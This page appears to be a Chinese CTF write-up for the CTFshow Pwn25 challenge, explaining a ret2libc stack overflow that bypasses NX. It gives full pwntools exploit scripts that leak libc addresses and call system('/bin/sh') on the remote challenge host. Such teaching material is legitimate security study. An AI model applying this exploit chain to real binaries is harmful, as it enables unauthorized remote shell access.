当前位置: 首页 > news >正文

绕过 NX 保护的 Ret2libc 漏洞利用(CTFshow_Pwn25)

思路

(题目链接 https://ctf.show/challenges#pwn25 )
本程序的保护机制开启了NX(No-eXecute) 保护,这意味着栈上的数据不具备可执行权限,传统的直接注入 Shellcode 方法失效。

为了绕过 NX 保护,我们可以利用程序自带的函数库(动态链接库)进行Ret2libc攻击。核心逻辑为:先通过 IDA 静态分析找到栈溢出漏洞点,再通过 ROP 链泄露某一已解析函数的真实内存地址。利用LibcSearcher检索 libc 库中相应的偏移量,推算出system函数和/bin/sh字符串的绝对地址,最终构造 Payload 劫持控制流拿到 Shell。

(个人博客链接:CTF笔记-绕过 NX 保护的 Ret2libc 漏洞利用(Pwn25) | Colin 观感更佳)

解题过程

一、 静态分析与漏洞定位、

首先利用checksec检查程序,发现32位开启NX保护,部分开启RELRO保护。
在进行动态调试前,首先使用 IDA Pro (32-bit) 载入附件程序进行静态分析。

通过伪代码可以发现,程序在读取用户输入时,使用了未限制长度的危险函数(read) 读取的长度远大于分配给buf缓冲区的空间,这就构成了典型的栈缓冲区溢出漏洞

进一步观察 IDA 提取的栈帧结构(如图 3),buf 变量距离 __saved_registers (ebp) 为 136 字节,再加上 ebp 本身的 4 字节。由此我们可以静态推断出,覆盖到返回地址的精准偏移量应为 136 + 4 = 140 字节。 接下来我们将通过动态调试来验证这一点。

二、利用 GDB 和 Cyclic 获取偏移值

  1. 终端输入gdb ./pwn

  2. 新开一个终端,输入cyclic 200 > pattern

  3. 切回刚才的 gdb 终端,执行run < pattern

  4. 当程序报 Segmentation fault(段错误)时,说明在尝试执行不存在或被保护的地址。我们来捕获崩溃时的 EIP:info register eip

  5. 得到eip 0x6261616b

  6. 输入q退出 GDB,回普通终端访问 cyclic 工具:

  7. cyclic -l 0x6261616b得到偏移量。

三、编写地址泄露EXP

from pwn import * # 配置底层环境: # arch='i386':声明目标是 32 位机器,这会让 p32() 和 u32() 函数生效 # os='linux':声明目标操作系统 # log_level='debug':开启上帝视角,终端会实时打印收发的所有底层字节流 context(arch='i386', os='linux', log_level='debug') # 建立网络连接,也就是接靶机的端口,后续用变量 p 来与它对话 p = remote('pwn.challenge.ctf.show', 28303) # 加载本地的 ELF 文件(也就是靶机程序),当作“静态地图” elf = ELF('./1') # 从“地图”中查阅我们要用到的 3 个关键坐标: puts_plt = elf.plt['puts'] # 1. 用来执行打印动作的 puts 函数入口 read_got = elf.got['read'] # 2. 存着read函数真实内存坐标的地址 main_addr = elf.sym['main'] # 3. main 函数开头,让程序回这里续命 # 测算好的栈溢出距离,用来填满缓冲区,直达 EIP (指令寄存器) offset = 140 # Payload 构造 (32位 cdecl 调用约定:函数 + 返回地址 + 参数) payload1 = b'A' * offset # 填入 140 个垃圾字节,顶到EIP前 payload1 += p32(puts_plt) # 劫持 EIP:强行跳去执行 puts 函数 payload1 += p32(main_addr) # 伪造返回地址 payload1 += p32(read_got) # 给 puts 的参数:打印read_got 里的内容 # 把 Payload 发送过去,并在末尾自动敲个回车 p.sendline(payload1) # 拆解这句代码 # 1. p.recvuntil(b'\xf7'):死等。因为 32 位 Linux 的真实内存地址通常以 f7 开头。等到 f7 出现,说明地址吐出来了。 # 2. [-4:]:切片操作。从刚才接收到的一大堆数据中,精准切下最后 4 个字节(也就是地址本体)。 # 3. .ljust(4, b'\x00'):安全气囊。如果 puts 打印到一半遇到了 \x00 提前截断,导致不足 4 个字节,就在右边用 \x00 强行补齐到 4 个字节,防止后面的解包报错。 # 4. u32(...):将补齐后的 4 个字节机器码,反向翻译成 Python 里的十六进制整数。 read_real_addr = u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) # 在终端把抓到的真实地址打印出来 print(f"[*] Leak read addr: {hex(read_real_addr)}") # 将控制权交还给键盘,虽然通常在泄露阶段结束后我们不会立刻进交互,但加这一句可以用来观察程序是否停在了 main 等待输入 p.interactive()

四、 完整攻击 EXP(标准三段式)

from pwn import * from LibcSearcher import * # context:pwntools 的环境配置工具 # arch='i386' 声明目标是 32 位机器,自动把数字转换成 32 位格式 # os='linux' 声明目标系统是 Linux # log_level='debug' -> 开启调试模式,屏幕实时打印收发的每一滴十六进制数据 context(arch='i386', os='linux', log_level='debug') # remote:打通一根网线,连到远程服务器端口,命名为变量 p p = remote("pwn.challenge.ctf.show", 28303) # ELF:自动解析本地的二进制文件,找出里面的关键坐标 elf = ELF('./pwn') # ================= 阶段一 泄露坐标 ================= # 去文件查main 函数的入口,以及 write 函数的 plt 和 got 地址 main_addr = elf.sym['main'] write_plt = elf.plt['write'] write_got = elf.got['write'] # 提前算好的栈溢出偏移量:需要 140 字节垃圾数据才能顶到 EIP offset = 140 # b'A' 代表原始字节码,在内存底层是 0x41。重复 140 次。 payload1 = b'A' * offset # p32() 的作用:把人类的数字,自动转换成 32 位机器直接吃的“小端序”机器码 payload1 += p32(write_plt) # 1. 劫持指令:跳入 write 函数 payload1 += p32(main_addr) # 2. 伪造返回地址:执行完 write 回 main 续命 payload1 += p32(1) # 3. 参数 1 (fd):往哪写?1 代表屏幕 payload1 += p32(write_got) # 4. 参数 2 (buf):写什么?打印 write 的真实地址 payload1 += p32(4) # 5. 参数 3 (len):写多少?只写 4 个字节 # 顺着网线 p 发送 Payload 1,并在末尾自动敲一个回车 (\n) p.sendline(payload1) # u32() 的作用:把靶机传回来的 4 字节颠倒的机器码,解包还原成 Python 十六进制数字 leak_write = u32(p.recv(4)) # ================= 阶段二:计算真实地址 ================= # 喂给 LibcSearcher 实例化对象,去全网数据库对暗号 libc_obj = LibcSearcher('write', leak_write) # .dump() 功能:从数据库里调出该函数在当前版本 Libc 库中的内部相对偏移量 # 核心公式 1 (算基址):Libc基址 = 真实绝对地址 - 相对偏移量 libc_base = leak_write - libc_obj.dump('write') # 核心公式2 (算目标):目标绝对地址 = Libc基址 + 目标的相对偏移量 system_addr = libc_base + libc_obj.dump('system') bin_sh_addr = libc_base + libc_obj.dump('str_bin_sh') # ================= 阶段三:致命一击 (Payload 2) ================= # 此时程序已经回到了 main 开头,再次填入 140 字节的垃圾数据夺权 payload2 = b'A' * offset # 按 32 位 cdecl 底层规矩追加致命载荷 payload2 += p32(system_addr) # 1. 劫持指令:跳去 system payload2 += p32(0) # 2. 核心占坑:塞入 4 字节 0 伪造返回地址,32位必带 payload2 += p32(bin_sh_addr) # 3. 传入参数:"/bin/sh" 所在的内存地址 p.sendline(payload2) # interactive():把网线 p 的控制权交还给你的键盘,准备手敲 cat flag p.interactive()

五、 确定系统版本号(LibcSearcher 盲盒排雷)

发送完最终 exp 后,若如图弹出多个版本的选项,可以利用静态分析来辅助选择

strings ./pwn | grep Ubuntu

查询得到

GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0

我们知道 Ubuntu 版本号与 GLIBC 对应关系为:

  • Ubuntu 16.04 -> GLIBC 2.23
  • Ubuntu 18.04 -> GLIBC 2.27

  • Ubuntu 20.04 -> GLIBC 2.31
  • 现在我们带着这个决定性线索,再来审视那十个选项:
  • 排除 0~3(2.19 版本,这是古老的 Ubuntu 14.04)。
  • 排除 4(根本不是 Ubuntu 系统的库)。
  • 排除 6、9(2.17 版本,太老了)。

    剩下三个版本的唯一区别是尾部的微小补丁号(基础版、.3 补丁版、.4 补丁版)。最后输入 5 即可得到 shell 提取 flag。

⚠️ 踩坑提醒:当出现多选弹窗时,服务器的超时断开倒计时(Timeout)仍在走。一定要迅速输入 5 并回车,如果手速慢了或者 5 号小版本不对可能导致程序崩溃报错EOFError

ctfshow{b513b07d-d063-400c-8429-64451fa11b8b}

http://www.jsqmd.com/news/652433/

相关文章:

  • STM32F407 DAC实战:不写一行代码,用CubeMX图形化配置生成正弦波信号(含工程文件)
  • Beyond Compare 5密钥生成器:免费获取永久授权的完整教程
  • 影视剧组化妆培训学校大揭秘!你的梦想从这里起航 - 品牌测评鉴赏家
  • Qwen3-ForcedAligner-0.6B部署教程:镜像免配置一键启动音文对齐服务
  • 2026年东莞跨境美妆GEO优化服务商选型分析:3家专业机构推荐 - 商业小白条
  • 终极暗黑2存档编辑器指南:如何快速打造完美游戏角色
  • 美妆小白必看!揭秘专业化妆培训学校的宝藏选择 - 品牌测评鉴赏家
  • 深入剖析Redis删除策略:不止于惰性与定期
  • Messaging 数据库结构入门指南
  • 【THM-课程内容】:Privilege Escalation-Windows Privilege Escalation: Other Quick Wins
  • MCU驱动继电器的电路设计:从原理到实战避坑指南
  • Jasminum插件:中文文献管理的终极解决方案
  • 天赐范式第13天:科技项目实战篇2%轻掺杂实现热整流:混沌驱动的非线性声子玻璃(附A3级可视化+完整代码)
  • 保姆级教程:用Zemax 18.9复现单模光纤耦合仿真(附康宁SMF-28e参数)
  • 面试官: MySQL LIKE索引失效原因解析(答案深度解析)持续更新
  • SCI论文署名指南:通讯作者与共同通讯作者的权责与排序策略
  • 2026年4月昆明美术培训机构排名前十 - 云南美术头条
  • Java+YOLOv8+Redis实战:工业视觉检测缓存加速+实时数据同步,毫秒级生产级落地
  • 测试辅助工具__fiddler抓包基于windows下载安装及使用教程(详细版)
  • 2025届最火的六大降重复率方案推荐榜单
  • STM32 PWM模式全解析:从基础PWM到Combined PWM的进阶用法(避坑指南)
  • 深入解析特殊时序路径:从Unconstrained Path到False Path的实战策略
  • 2026年帮设计师快速生成交互流程的AI工具推荐:4款主流产品对比
  • 2026年值得关注的化妆学校,助力美妆梦想起航 - 品牌测评鉴赏家
  • 2026年AI搜索营销生成式优化领域核心服务商3强格局与能力洞察报告 - 商业小白条
  • 【AIGC生产环境生死线】:为什么传统RateLimiter在LLM调用中全面失灵?重写熔断器的3个底层协议适配关键点
  • 【项目实战】Windows 10 Docker Desktop 安装前置条件检测与解决方案
  • YOLOv8-Pose关键点检测实战:从图片到骨骼线绘制的保姆级避坑指南
  • 纯前端实现发票二维码批量识别——PDF.js + jsQR 实战
  • 图像质量评价指标全解析:SROCC、PLCC、KROCC到底怎么选?